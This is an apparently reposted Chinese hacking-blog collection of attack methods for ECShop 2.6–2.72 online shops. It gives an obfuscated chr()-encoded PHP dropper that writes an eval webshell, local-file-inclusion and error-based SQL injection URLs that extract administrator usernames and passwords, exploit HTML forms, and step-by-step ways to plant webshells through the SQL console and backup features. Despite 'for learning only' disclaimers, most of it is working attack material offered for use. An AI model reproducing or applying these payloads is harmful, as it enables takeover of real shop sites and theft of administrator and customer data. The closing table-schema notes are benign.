ecshop最新版 (v272) 本地包含拿SHELL
From:坏客技术博客
直接看代码:
ecshop后台获取shell最新方法,通杀最新版本&后台低权限
后台-订单管理-订单打印-选择源代码编辑-保存
返回订单列表,随意选择一个订单打印,返回OK,生成一句话成功!
2.把转换后的代码写入订单打印模板(源码模式,写的时候注意两边加闭合):
3.连接文件:
http://localhost/null.php
懒人就用下面的代码,连接文件为根目录下null.php,密码为 usb:
$filen=chr(46).chr(46).chr(47).chr(110).chr(117).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112);
$filec=chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(117).chr(115).chr(98).chr(93).chr(41).chr(59).chr(63).chr(62);
$a=chr(119);
$fp=@fopen($filen,$a);
$msg=@fwrite($fp,$filec);
if($msg) echo chr(79).chr(75).chr(33);
@fclose($fp);
?>
ecshop最新版(v272) 本地包含漏洞ODAY(鸡肋)
注:发布本文只是出于学习的目的,请勿用无非法用途!
很久前就发现了,今天发布出来吧,其实很简单,就是很多人没有注意这里:
直接看代码:
js/calendar.php
- $lang = (!empty($_GET['lang']))
- ? trim($_GET['lang']) : 'zh_cn';//没有过滤,很明显的包含漏洞 by: ℡Mr.LP
- if (!file_exists('../languages/' . $lang . '/calendar.php'))
- {
- $lang = 'zh_cn';
- }
- require(dirname(dirname(__FILE__)) . '/data/config.php');
- header('Content-type: application/x-javascript; charset=' . EC_CHARSET);
- include_once('../languages/' . $lang . '/calendar.php');//这里包含,需要截断 by: ℡Mr.
测试代码 :
// 需要 magic_quotes_gpc = Off
/js/calendar.php?lang=../index.php%00.(注意后面有个.)by: ℡Mr.LP
利用:
注册用户
然后上传GIF89a头的GIF文件欺骗,
然后包含 如:[img]http://www.lpboke.com/js/calendar.php?lang=../data/feedbackimg/6_20101228vyrpbg.gif%00.
ECshop 支付方式注射 0day
ECshop 支付方式注射
发布日期:2011.1.5
挖掘作者:fjhgx(俺是农村的)
联系方式:bugtosafe@gmail.com
漏洞文件:lib_payment.php
漏洞函数:get_order_id_by_sn($order_sn, $voucher = 'false')
includes\lib_payment.php(ECSHOP 支付接口函数库)
(53行)
/**
* 通过订单sn取得订单ID
* @param string $order_sn 订单sn
* @param blob $voucher 是否为会员充值
*/
function get_order_id_by_sn($order_sn, $voucher = 'false')
{
if ($voucher == 'true') //要想触发漏洞,需保证函数的第二个参数为真。
{
return $GLOBALS['db']->getOne("SELECT log_id FROM " . $GLOBALS['ecs']->table('pay_log') . " WHERE order_id=" . $order_sn . ' AND order_type=1');
//漏洞位于$order_sn变量,触发原因未经过单引号过滤。from:fjhgx(俺是农村的)
}
else
{
if(is_numeric($order_sn))
{
$sql = 'SELECT order_id FROM ' . $GLOBALS['ecs']->table('order_info'). " WHERE order_sn = '$order_sn'";
$order_id = $GLOBALS['db']->getOne($sql);
}
if (!empty($order_id))
{
$pay_log_id = $GLOBALS['db']->getOne("SELECT log_id FROM " . $GLOBALS['ecs']->table('pay_log') . " WHERE order_id='" . $order_id . "'");
return $pay_log_id;
}
else
{
return "";
}
}
}
respond.php(ECSHOP 支付响应页面)
(56行)
/* 判断是否启用 */ //判断了支付方式,鸡肋了点。from: fjhgx(俺是农村的)
$sql = "SELECT COUNT(*) FROM " . $ecs->table('payment') . " WHERE pay_code = '$pay_code' AND enabled = 1";
if ($db->getOne($sql) == 0)
{
$msg = $_LANG['pay_disabled'];
}
else
{
$plugin_file = 'includes/modules/payment/' . $pay_code . '.php'; //包含支付方式的文件,位于“includes\modules\payment”目录下。
/* 检查插件文件是否存在,如果存在则验证支付是否成功,否则则返回失败信息 */
if (file_exists($plugin_file))
{
/* 根据支付方式代码创建支付类的对象并调用其响应操作方法 */
include_once($plugin_file);
$payment = new $pay_code();
$msg = ($payment->respond()) ? $_LANG['pay_success'] : $_LANG['pay_fail'];
}
else
{
$msg = $_LANG['pay_not_exist'];
}
}
总共有三处可能触发的漏洞;
1.
- tenpay.php(200行)
- if ($attach == 'voucher')
- {
- $log_id = get_order_id_by_sn($sp_billno, "true"); //调用漏洞存在的函数,get_order_id_by_sn。from: fjhgx(俺是农村的)
- }
- else
- {
- $log_id = get_order_id_by_sn($sp_billno);
- }
2.
- cncard.php(207行)
- //验证通过后,将订单sn转换为ID 来操作ec订单表
- if ($c_memo2 == 'voucher')
- {
- $c_order = get_order_id_by_sn($c_order, "true"); //注意 from:俺是农村的 bugtosafe@gmail.com
- }
- else
- {
- $c_order = get_order_id_by_sn($c_order);
- }
3.
- chinabank.php(156行)
- //验证通过后,将订单sn转换为ID 来操作ec订单表
- $v_oid = get_order_id_by_sn($v_oid, "true"); //注意 from:俺是农村的 bugtosafe@gmail.com
- }
- else
- {
- $v_oid = get_order_id_by_sn($v_oid);
- }
- if ($v_pstatus == '20')
- {
- /* 改变订单状态 */
- order_paid($v_oid);
- return true;
- }
漏洞验证:
respond.php?code=tenpay&attach=voucher&sp_billno=fjhgx
respond.php?code=cncard
respond.php?code=chinabank
EXP:
respond.php?code=tenpay&attach=voucher&sp_billno=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(*),0x27,0x7e) FROM `ecs`.ecs_admin_user)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
纯属喜爱PHP,学习审核PHP源代码,未有任何意思。
此分析文章,只给学习PHP的人研究,不得用于非法用途。
一切有害、有益的结果于作者&狼族组织无任何关系。
=============
暴用户名:
http://site/respond.php?code=tenpay&attach=voucher&sp_billno=1%20and(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20user_name%20FROM%20ecs_admin_user%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1
暴密码:
http://site/respond.php?code=tenpay&attach=voucher&sp_billno=1%20and(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20user_name%20FROM%20ecs_admin_user%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1
如果表前缀被改如下所示:
MySQL server error report:Array ( [0] => Array ( [message] => MySQL Query Error ) [1] => Array ( [sql] => SELECT log_id FROM `aimeili`.`aml_pay_log` WHERE order_id=1 and(select 1 from(select count(*),concat((select (select (SELECT password FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 AND order_type=1 ) [2] => Array ( [error] => Table 'aimeili.ecs_admin_user' doesn't exist ) [3] => Array ( [errno] => 1146 ) )
只要修改ecs_admin_user为aml_admin_user即可
ecshop v2.72 前台写shell漏洞
by:xhm1n9 <title>ecshop v2.72 前台写shell漏洞 by:xhm1n9</title> <form method="post" name="register" action="http://127.1/ecshop2.72/demo/index.php"> <h3>ecshop v2.72 前台写shell漏洞</h3>利用方试:提交两次,第二次内容任意</br> <input type="text" name="lang" size="80" value="');phpinfo();(_1_/../../../index" /> <input type="hidden" name="step" value="readme" /> <button class="submit" type="submit" name="regsubmit" value="true">提交</button> </form> <!------------- demo/index.php if (!empty($_POST['lang'])) { $lang_charset = explode('_', $_POST['lang']); $updater_lang = $lang_charset[0].'_'.$lang_charset[1]; $ec_charset = $lang_charset[2]; } ........................................ $updater_lang_package_path = ROOT_PATH . 'demo/languages/' . $updater_lang . '_' . $ec_charset .'.php'; if (file_exists($updater_lang_package_path)) { include_once($updater_lang_package_path); $smarty->assign('lang', $_LANG); } else { die('Can\'t find language package!'); } /* 初始化流程控制变量 */ $step = isset($_REQUEST['step']) ? $_REQUEST['step'] : 'sel_lang'; $smarty->assign('ec_charset', $ec_charset); $smarty->assign('updater_lang', $updater_lang); switch($step) { case 'readme' : write_charset_config($updater_lang, $ec_charset); ....................................... function write_charset_config($lang, $charset) { $config_file = ROOT_PATH . 'data/config.php'; $s = file_get_contents($config_file); $s = insertconfig($s, "/\?\>/",""); $s = insertconfig($s, "/define\('EC_LANGUAGE',\s*'.*?'\);/i", "define('EC_LANGUAGE', '" . $lang . "');"); $s = insertconfig($s, "/define\('EC_CHARSET',\s*'.*?'\);/i", "define('EC_CHARSET', '" . $charset . "');"); $s = insertconfig($s, "/\?\>/","?>"); return file_put_contents($config_file, $s); } ----------------->
ecshop2.72鸡肋注入
by:xhm1n9 2010.11.11 最近好像ecshop的问题蛮多的啊,看到T00LS有人发测试图出来,我也下了份来看看,看到一鸡肋注入。我没留意之前有没人发过此漏洞,见谅了。 /api.php ......................... switch ($_POST['act']) { case 'search_goods_list': search_goods_list(); break; //............................ default: api_err('0x008', 'no this type api'); //输出系统级错误:数据异常 } ......................... function search_goods_list() { check_auth(); //检查基本权限 ~~~鸡肋了 $version = '1.0'; //版本号 if ($_POST['api_version'] != $version) //网店的接口版本低 { api_err('0x008', 'a low version api'); } if (is_numeric($_POST['last_modify_st_time']) && is_numeric($_POST['last_modify_en_time'])) { $sql = 'SELECT COUNT(*) AS count' . ' FROM ' . $GLOBALS['ecs']->table('goods') . " WHERE is_delete = 0 AND is_on_sale = 1 AND (last_update > '" . $_POST['last_modify_st_time'] . "' OR last_update = 0)"; $date_count = $GLOBALS['db']->getRow($sql); if (empty($date_count)) { api_err('0x003', 'no data to back'); //无符合条件数据 } $page = empty($_POST['pages']) ? 1 : $_POST['pages']; //没过滤 $counts = empty($_POST['counts']) ? 100 : $_POST['counts']; //没过滤 $sql = 'SELECT goods_id, last_update AS last_modify' . ' FROM ' . $GLOBALS['ecs']->table('goods') . " WHERE is_delete = 0 AND is_on_sale = 1 AND (last_update > '" . $_POST['last_modify_st_time'] . "' OR last_update = 0)". " LIMIT ".($page - 1) * $counts . ', ' . $counts; //$counts也没用单引号包含 $date_arr = $GLOBALS['db']->getAll($sql); .............................. } function check_auth() { $license = get_shop_license(); // 取出网店 license信息 if (empty($license['certificate_id']) || empty($license['token']) || empty($license['certi'])) { api_err('0x006', 'no certificate'); //没有证书数据,输出系统级错误:用户权限不够 } if (!check_shopex_ac($_POST, $license['token'])) { api_err('0x009'); //输出系统级错误:签名无效 } /* 对应用申请的session进行验证 */ $certi['certificate_id'] = $license['certificate_id']; // 网店证书ID $certi['app_id'] = 'ecshop_b2c'; // 说明客户端来源 $certi['app_instance_id'] = 'webcollect'; // 应用服务ID $certi['version'] = VERSION . '#' . RELEASE; // 网店软件版本号 $certi['format'] = 'json'; // 官方返回数据格式 $certi['certi_app'] = 'sess.valid_session'; // 证书方法 $certi['certi_session'] = $_POST['app_session']; //应用服务器申请的session值 $certi['certi_ac'] = make_shopex_ac($certi, $license['token']); // 网店验证字符串 $request_arr = exchange_shop_license($certi, $license); if ($request_arr['res'] != 'succ') { api_err('0x001', 'session is invalid'); //输出系统级错误:身份验证失败 } } function get_shop_license() { // 取出网店 license $sql = "SELECT code, value FROM " . $GLOBALS['ecs']->table('shop_config') . " WHERE code IN ('certificate_id', 'token', 'certi') LIMIT 0,3"; $license_info = $GLOBALS['db']->getAll($sql); $license_info = is_array($license_info) ? $license_info : array(); $license = array(); foreach ($license_info as $value) { $license[$value['code']] = $value['value']; } return $license; } 鸡肋的是check_auth()作了权限检查 exp: <form name="p_form" id="p_form" method="post" action="http://127.1/ecshop2.72/api.php" enctype="multipart/form-data"> <input name='act' type="text" value="search_goods_list"> <input name='api_version' type="text" value="1.0"> <input name='last_modify_st_time' type="text" value="1"> <input name='last_modify_en_time' type="text" value="1"> <input name='pages' type="text" value=""> <input name='ac' type="text" value="ac"> <input name='counts' type="text" value="1 union select user(),2"> <input name="sub" type="submit" value="提交" /> </form>
ecshop 通杀2.6*2.7 GBK版本 oday 爆路径 GetShell
转载自:黑小子's Blog http://www.hackersb.com/article.asp?id=254
据说该0day是fjhgx(俺是农村的)大牛发现的。。。
Exp等黑小子发吧。。。或者自己手动也行。。。
以前很早的东西了 刚测试还可以用 至于有一些能不能搞 自行测试 这些东西都可以想起以前的兄弟们 我对这些已经不敢兴趣了 有什么好东西我会陆续放出 工具我会打包!
ecshop 通杀2.6*2.7 GBK版本 附上测试图!
(射出编码 0x全部替换)
(替换后的编码)
(lcx的php注射工具 转换编码 From Hex 转换后得到MD5)
ecshop GetShell
http://localhost/ECShop/demo/index.php?a=1111111111%00
爆路径
http://localhost/ECShop/includes\fckeditor\editor\dialog\fck_spellerpages\spellerpages\server-scripts/spellchecker.php
测试
http://localhost/api/checkorder.php?username=%CE%27 or 1=1 %23
=============
附EXP
附件: ecshop 通杀2.62.7 gbk版本.rar (2.99 M, 下载次数:1309)
ecshop后台拿shell的又一种方法
作者:龙儿心[B.H.S.T]
看一个echsop的后台,版本未知。
网上流传的方法都测试了无用,可能是我没找全,无奈只好自己看下后台,发现此方法。
进入后台-系统设置-Flash播放器管理 看图
可以上传任意文件。
结束
ecshop SQL注射漏洞0821 0day
漏洞概要缺陷编号: WooYun-2010-00248
漏洞标题: ecshop SQL注射漏洞
相关厂商: ecshop
漏洞作者: xsser
提交时间: 2010-08-21
公开时间: 2010-08-21
漏洞类型: SQL注射
危害等级: 高
漏洞状态: 未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org
--------------------------------------------------------------------------------
漏洞详情简要描述:在Ecshop中缺乏对参数的有效过滤,导致一个SQL注射漏洞,成功利用该漏洞的攻击者可以获得数据库及站点的完全权限。
详细说明:在include_libcommon.php中存在如下函数
function get_package_info($id)
{
global $ecs, $db,$_CFG;
$now = gmtime();
$sql = "SELECT act_id AS id, act_name AS package_name, goods_id , goods_name, start_time, end_time, act_desc, ext_info".
" FROM " . $GLOBALS['ecs']->table('goods_activity') .
" WHERE act_id='$id' AND act_type = " . GAT_PACKAGE;
$package = $db->GetRow($sql);
/* 将时间转成可阅读格式 */
if ($package['start_time'] <= $now && $package['end_time'] >= $now)
{
$package['is_on_sale'] = "1";
}
else
{
$package['is_on_sale'] = "0";
}
$package['start_time'] = local_date('Y-m-d H:i', $package['start_time']);
$package['end_time'] = local_date('Y-m-d H:i', $package['end_time']);
$row = unserialize($package['ext_info']);
unset($package['ext_info']);
if ($row)
{
foreach ($row as $key=>$val)
{
$package[$key] = $val;
}
}
$sql = "SELECT pg.package_id, pg.goods_id, pg.goods_number, pg.admin_id, ".
" g.goods_sn, g.goods_name, g.market_price, g.goods_thumb, g.is_real, ".
" IFNULL(mp.user_price, g.shop_price * '$_SESSION[discount]') AS rank_price " .
" FROM " . $GLOBALS['ecs']->table('package_goods') . " AS pg ".
" LEFT JOIN ". $GLOBALS['ecs']->table('goods') . " AS g ".
" ON g.goods_id = pg.goods_id ".
" LEFT JOIN " . $GLOBALS['ecs']->table('member_price') . " AS mp ".
"ON mp.goods_id = g.goods_id AND mp.user_rank = '$_SESSION[user_rank]' ".
" WHERE pg.package_id = " . $id. " ".
" ORDER BY pg.package_id, pg.goods_id";
$goods_res = $GLOBALS['db']->getAll($sql);
$market_price = 0;
其中$id没有经过严格过滤就直接进入了SQL查询,导致一个SQL注射漏洞。
漏洞证明:在系统的lib_order.php中存在一个该函数的调用
function add_package_to_cart($package_id, $num = 1)
{
$GLOBALS['err']->clean();
/* 取得礼包信息 */
$package = get_package_info($package_id);
if (empty($package))
{
$GLOBALS['err']->add($GLOBALS['_LANG']['goods_not_exists'], ERR_NOT_EXISTS);
return false;
}
在flow.php中存在可控的输入源
$package = $json->decode($_POST['package_info']);
/* 如果是一步购物,先清空购物车 */
if ($_CFG['one_step_buy'] == '1')
{
clear_cart();
}
/* 商品数量是否合法 */
if (!is_numeric($package->number) || intval($package->number) <= 0)
{
$result['error'] = 1;
$result['message'] = $_LANG['invalid_number'];
}
else
{
/* 添加到购物车 */
if (add_package_to_cart($package->package_id, $package->number))
{
if ($_CFG['cart_confirm'] > 2)
$package->package_id来源于输入
修复方案:你猜啊~~~~
--------------------------------------------------------------------------------
漏洞回应厂商回应:未能联系到厂商或者厂商积极拒绝
==================================
by alibaba
漏洞有点鸡叻,必须有贩卖礼包才能注入
依该漏洞写了个exp,有图有真相
ECSHOP数据库结构参数表结构说明
刚刚需要导出ecshop里面的某些数据,找不到具体内容,
百度了一下搜索到这么一个数据表的结构说明,收藏一下,以备后用!
============
序言
本次信息整理只为了从事ECSHOP 二次开发人员方便之举,因此研究ECSHOP 官方数据结
构,如若与官方产生冲突,敬请谅解!此版本属于V2.1.15 此信息属于网上一位朋友注释!
另外ECSHOP V2.5 的表结构信息我正在整理中现在先把这份发布上来!QQ:381326730
表结构分析
ecs_account_log // 用户账目日志表
ecs_activity // 活动表(代码,名称,开始,结束,描述)
ecs_ad // 广告表(位置,类型,名称,链接,图片,开始,结束,广告主相关信息,点击,
是否显示)
ecs_admin_action // 管理权限分配(父类ID,权限代码)
ecs_admin_log // 管理日志(登陆时间,登陆管理员ID,操作描述,IP)
ecs_admin_message // 管理员留言(发送者ID,接收者ID,发送日期,阅读日期,是否
已读,是否删除,标题,内容)
ecs_admin_user // 管理员管理(用户名,email ,密码,加入时间,最后登陆时间,最后
登陆IP,权限等)
ecs_adsense // 广告相关统计(来源广告,来源位置,点击)
ecs_ad_position // 广告位(名称,宽,高,描述,样式)
ecs_area_region // 配送区域关联(配送区域ID,具体地址ID)
ecs_article // 文章(分类ID,标题,内容,作者,作者email ,关键字,类型,是否显示,
添加时间,文件地址,打开类型)
ecs_article_cat // 文章分类(名称,类型,关键字,描述,排序,是否导航显示)
ecs_attribute // 商品属性(分类,名称,选择样式,类型,值,检索类型,排序,是否关
联)
ecs_bonus_type // 红包(名称,金额,发放起始日期,发放结束日期,使用起始日期,使
用结束日期,发放类型,金额下限(按订单发放),金额上限)
ecs_booking_goods // 缺货登记(登记用户ID,email ,电话,商品ID,描述,数量,登
记时间,是否已处理,处理管理员,处理时间,处理备注)
ecs_brand // 品牌(名称,logo,描述,链接,排序,是否显示)
ecs_card // 祝福贺卡(名称,图片,费用,免费额度,描述)
ecs_cart // 购物车(用户ID,session_id ,商品ID,商品编号,商品名称,市场价,购买
价,数量,属性,是否真实商品,扩展代码,父类ID,类型,是否赠品,能否处理)
ecs_category // 商品分类(名称,关键字,描述,父类ID,排序,是否有子类,模板文件,
数量单位,是否导航显示)
ecs_collect_goods // 收藏(用户ID,商品ID,收藏时间)
ecs_comment // 评论(类型,类型ID,email ,用户名,内容,评星,添加时间,IP,状
态,父类ID)
ecs_feedback // 用户留言(父类ID,用户ID,用户名,email,标题,类型,内容,时间,
图片,是否回复)
ecs_friend_link // 友情链接(名称,链接,logo,排序)
ecs_gift // 赠品(送赠品活动ID,商品ID,赠品价格)
ecs_gift_type // 送赠品活动(名称,发送类型,相关参数,数量,开始,结束)
ecs_goods // 商品(分类ID,名称,点击,品牌ID,供应商名称,库存,重量,市场价,
售价,fitting_price(未知),促销价,促销开始日期,结束日期,警告数量,关键字,简介,
描述,缩略图,图,原图,是否真实商品,扩展代码,是否上架,是否单独销售,是否关联,
配件关联,是否赠品,能否成为赠品,单位,添加时间,排序,是否回收,精品,新品,推
荐,热销,红包ID,更新日期,商品类型,商品备注,首页轮播)
ecs_goods_article // 商品文章关联(gid,aid )
ecs_goods_attr // 商品属性(商品ID,属性ID,属性值,属性附加价)
ecs_goods_cat // 未知
ecs_gallery // 商品相册(商品ID,图片,描述,缩略图,原图)
ecs_goods_type // 商品类型(名称,状态)
ecs_group_buy // 团购(商品ID,结束日期,价格阶梯,限购数量,描述,订购量,订单,
赠送积分数,流程,押金,是否完成)
ecs_group_goods // 配件(父类ID,商品ID,配件价格)
ecs_link_goods // 商品关联(商品ID,关联ID,单双向)
ecs_mail_templates // 邮件样式(代码,是否html,名称,样式,最后修改日期)
ecs_member_price // 会员价(商品ID,会员等级,会员价)
ecs_order_action // 订单处理(订单ID,处理用户,订单状态,配送状态,支付状态,处
理时间,备注)
ecs_order_goods // 订单-商品(订单ID,商品ID,商品名称,商品编号,商品数量,市
场价,订单价,商品属性,配送数量,是否真实商品,扩展代码,父类ID,是否赠品)
ecs_order_info // 订单信息(好多(-_-|||略...)
ecs_pack // 包装(名称,图片,费用,免费额,描述)
ecs_payment // 支付工具(代码,名称,费用,描述,排序,配置,状态,is_cod(未知))
ecs_pay_log // 支付记录(略)
ecs_plugins // 插件(代码,版本,库,签名,安装日期)
ecs_region // 地方数据(没什么好说的)
ecs_sessions // 保存session 的(也没什么好说的(嗯?为什么要加个“也”呢))
ecs_shipping // 配送(代码,名称,描述,保价费,support_cod(未知),状态)
ecs_shipping_area // 配送区域(序列配置)
ecs_shop_config // 设置(父类ID,代码,类型,范围,文件夹,值)
ecs_snatch // 夺宝奇兵(活动ID,商品ID,最小价,最大价,定价,积分消耗)
ecs_snatch_log // 夺宝奇兵出价记录(还是没什么好说的)
ecs_stats // 访问记录(时间,IP,访问次数,浏览器,系统,语言,地区,来源域名,来
源地址,关键字,进入链接)
ecs_tag // 用户标签(不说)
ecs_template // 模板区域(文件名,区域,模板库,排序,id,数量,类型,模板)也不
怎么清楚
ecs_users // 会员(一些会员信息)
ecs_user_account // 会员帐户(用户ID,管理员,总额,添加时间,支付时间,管理备注,
用户备注,处理类型,支付工具,是否支付)
ecs_user_address // 用户收货地址(略)
ecs_user_bonus // 用户红包(红包ID,红包编号,用户ID,使用时间,订单ID,是否已
发邮件)
ecs_user_rank // 会员等级(名称,积分最小限额,最大限额,折扣,是否显示价格,特
殊会员)
ecs_virtual_cart // 虚拟卡(商品ID,卡号,密码,添加时间,失效时间,是否已卖完,
编号,crc32 校验码)
ecs_vote // 投票(名称,开始,结束,能否多选,统计)
ecs_vote_log // 投票记录(投票ID,IP,时间)
ecs_vote_option // 投票内容(投票ID,条目名称,条目统计)
再说两种ecshop后台拿shell的方法
ecshop后台拿shell的方法,除了oldjun大牛的那个和上次说的那个,又发现两种。但是各有个的限制条件,听我一一道来。
其一:
ecshop后台有一个功能是sql查询,如图:
其实感觉在一个管理系统的后台放这么个功能根本没用,有多少网站管理员有这么高的觉悟,会用这个?
不过也不错,便宜了我们小菜拿shell。
方法就像phpmyadmin一样直接操作sql语句导出一句话木马拿shell。
语句如下:
show databases;
use 数据库名;
create a(cmd text not null);
insert into a(cmd) values('<?php eval($_POST[cmd]);?>');
select cmd from a into outfile '导出路径';
drop table if exists a;
很常规的语句。也许有人会问不知道网站路径怎么办,那要导出到哪呢?这里有一个技巧就是 use 数据库名; 这句话,其实在这个sql查询功能中默认用的数据库就是本网站的数据库,开发者设计的时候不会考虑你去use 其他的数据库,所以这里你用"use 数据名库"这句时,会产生一个警告,但并不影响sql的运行,却可以成功爆出网站的路径,多次测试均成功,如图:
这样就爆出了路径,用于导出。
但是有个问题是你最后outfile文件时如果不是mysql的root权限,是没有权限导出的,所以这种方法必须要求你的mysql权限为root。
其二
另外一种是利用ecshop后台的数据库备份功能。如图:
这里选择自定义备份,目的是使你备份出来的文件尽量的小,要是太大的话也很麻烦。
然后去前台留个言,内容是我们的一句话木马,接着在后台选择备份ecs_feedback这张表,就是存放留言的表,如图:
然后会显示备份成功。
但是ecshop备份的文件都强行会在你填的备份的名字后面加上.sql扩展名(元备份名我填的是l4yn3.php),如图。
这么做无非就是提高安全性,可是设计者忽略了一个问题,如果php是在apache下运行的,利用apache的文件解析漏洞这种方式形同虚设。
因为apache有个漏洞就是对文件名是1.php.sql这种形式,只要最后的文件扩展名是apache不能能解析的,他就会按照php文件来解析它,那在这里sql文件就是apache不能够解析的文件,那么他理所当然会把这个文件当作php文件来执行。
所以如果是apache+php的话,即使文件名变成了上面这样,也可以正常解析,你所需要做的就是点一下备份后的链接。
所以您看出来了,这种拿shell的方式是需要你的环境是apache+php的。
而且还有个条件是GPC魔术转换不能开启,所以也很鸡肋。
两种方式没有上次说的那位大牛的那么通杀,只是给大家提供个思路,仅此而已。
由于之前是用shell测试的,可是写文章的时候是在本地测试,环境有点问题,第二种方式一句话成功解析的图就不截了,请见谅。
没什么技术,欢迎光临l4yn3的个人博客。
PS:关于apache的文件解析漏洞,看这个吧:http://blog.fir3bug.com/?p=264
ECSHOP最新后台拿webshell之鸡肋方法
操作简单,就不上图了
1、添加会员,插入一句话
2、备份数据---自定义备份---选“XXX_users”
(其中XXX因各站而异,是数据前缀)
3、备份文件名为X.php;X.SQL
4、一句话客户端连接X.php;X.SQL,地址一般为 http://www.XXX.com/data/sqldata/X.php;X.SQL
(比较鸡肋)
OK~